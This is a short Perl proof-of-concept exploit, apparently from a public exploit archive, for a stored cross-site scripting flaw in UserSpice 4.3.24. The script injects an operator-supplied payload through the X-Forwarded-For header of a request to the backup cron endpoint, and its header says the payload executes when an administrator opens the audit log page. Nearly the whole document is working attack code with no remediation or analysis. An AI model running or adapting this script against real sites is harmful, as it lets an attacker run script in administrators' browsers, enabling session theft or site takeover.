# Exploit Title: userSpice 4.3.24 - 'X-Forwarded-For' Cross-Site Scripting
# Date: 2018-06-10
# Author: Dolev Farhi
# Vendor or Software Link: www.userspice.com
# Version: 4.3.24
# Tested on: Ubuntu
# Payload will get executed when admin visits the audit log page
#!/usr/bin/perl
use strict;
use LWP::UserAgent;
print "UserSpice 4.3.24 X-Forwarded-For XSS PoC\n";
if ($#ARGV != 0 ) {
print "usage: $0 <address> \n";
exit 1;
}
my $server = $ARGV[0] . "/users/cron/backup.php?from=users/cron_manager.php/";
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => 'http://' . $server);
print "Enter payload: ";
my $xff = <STDIN>;
chomp $xff;
if ($xff eq "")
{
print "Empty payload \n";
exit 1;
}
$req->header('X-Forwarded-For' => $xff);
my $resp = $ua->request($req);
if ($resp->is_success) {
print "[OK] Sent payload: $xff\n";
exit 0;
}
else {
print "[Error]: code: ", $resp->code, $resp->message, "\n";
exit 1;
}
